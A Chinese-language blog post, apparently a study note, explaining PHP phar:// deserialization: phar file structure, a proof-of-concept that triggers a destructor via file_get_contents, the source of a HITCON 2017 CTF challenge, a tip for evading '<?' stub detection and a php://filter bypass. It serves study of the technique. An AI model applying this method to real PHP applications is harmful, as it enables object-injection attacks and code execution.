wywwzjj's Blog

phar 与反序列化学习

字数统计: 1.2k阅读时长: 5 min
2019/05/18 Share

介绍

与普通反序列化利用有什么区别?

在 PHP 下利用反序列化漏洞的时候,通常走这样的一条路线:

反序列化点 => 可利用函数 => 构造反序列化 POP 链

但在 2018 年的 Black Hat 上,安全研究员 Sam Thomas 指出了一条新思路:

文件系统函数 ( file_get_contents 、 unlink 等)参数可控的情况下,配合 phar:// 伪协议 ,可以不依赖反序列化函数 unserialize() 直接进行反序列化的操作。

phar 是什么?

官方文档 给出了详细的解释。概括来说,有如下特点

  • Phar 存档在概念上类似于 Java JAR 存档,但是根据 PHP 应用程序的需求和灵活性进行了定制。

  • Phar 可以把多个文件归档到同一个文件中,不经过解压就能被 PHP 访问并执行。

  • Meta-data can be any PHP variable that can be serialized.

最后一点尤其重要,有序列化就有反序列。

This meta-data is unserialized when a Phar archive is first accessed by any(!) file operation.

This opens the door to unserialization attacks whenever a file operation occurs on a path whose
beginning is controlled by an attacker.

再看一下 phar 的文件结构

The phar file format is literally laid out as stub / manifest / contents / signature, and stores the crucial information of what is included in the phar archive in its manifest.

也就是说分为四个部分:

  • stub

    <?php
    Phar::mapPhar();
    include 'phar://myphar.phar/index.php';
    __HALT_COMPILER();

    可以当做一个标志来理解,正如上面写的这样,必须以 _HALT_COMPILER(); 结尾。所以在设置 stub 时,也要有 __HALT_COMPILER(); ,这里的设置就相当灵活了,你可以随便插数据 。比如:

    xxx;__HALT_COMPILER();
    // 需要提醒的是 <?php ?> 并不是必须的,以 ; 隔开即可,可避开检测 <? 的情况
  • manifest

    phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是上述攻击手法最核心的地方。

  • contents:被压缩文件的内容。

  • signature:签名,放在文件末尾。

Demo

用个小 Demo 来测试一下反序列化(注意要将 php.ini 中的 phar.readonly 选项设置为 0,否则无法生成)

// phar_gen.php
<?php
class Test {
public $pp = 1;
public function __destruct() {
echo "destruct was called!";
}
}
ini_set('phar.readonly',"Off");
@unlink("test.phar");
$p = new Phar("test.phar"); // 后缀名必须为phar,生成后可随意修改
$p->startBuffering();
$p->setStub("2333;__HALT_COMPILER();"); // 设置stub
// $p->compressFiles(Phar::GZ); // 可设置压缩包,使用时照旧
$p->setMetadata(new Test()); // 将自定义的 meta-data 存入 manifest
$p->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$p->stopBuffering();
?>

可以看到 meta-data 在 phar 中的存在形式

// dese_phar.php
<?php
class Test {
public $pp = 1;
public function __destruct() {
echo "destruct was called!";
}
}
$filename = 'phar://test.phar/1'; // 这里访问的文件存在与否都不重要
file_get_contents($filename);

可以看到析构函数被成功调用

seaii 师傅给出了函数列表

应用场景

这里不得不提 orange 在 hitcon 2017 出的 baby^h-master-php-2017,本题可以通过 i 春秋平台复现

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

// 猜测执行 FLAG() 出 flag
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
// 难道要爆破?
$_GET["lucky"]();
}
}

function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}

if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}

// 反序列化点,但无法更改 session 的值
$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}

return $data->avatar;
}

function upload($path) {
// vps 准备好 phar 文件
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}

file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
// 这两个函数都将造成反序列化
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}

header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
highlight_file(__FILE__);
}

另外还有:

  • 护网杯 easy laravel

  • code-breaking lumenserial

相关绕过

TODO

php://filter/resource=phar://phar.phar

原理分析

来看一下源码 php-src/ext/phar/phar.c:618,调用了 php_var_unserialize

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

太忙了,有时间深入分析一下。

参考链接

https://blog.zsxsoft.com/post/38

https://blog.szfszf.top/tech/phar%E5%8D%8F%E8%AE%AE%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

http://www.lmxspace.com/2018/11/07/重新认识反序列化-Phar/

CATALOG
  1. 1. 介绍
    1. 1.1. 与普通反序列化利用有什么区别?
    2. 1.2. phar 是什么?
  2. 2. Demo
  3. 3. 应用场景
  4. 4. 相关绕过
  5. 5. 原理分析
  6. 6. 参考链接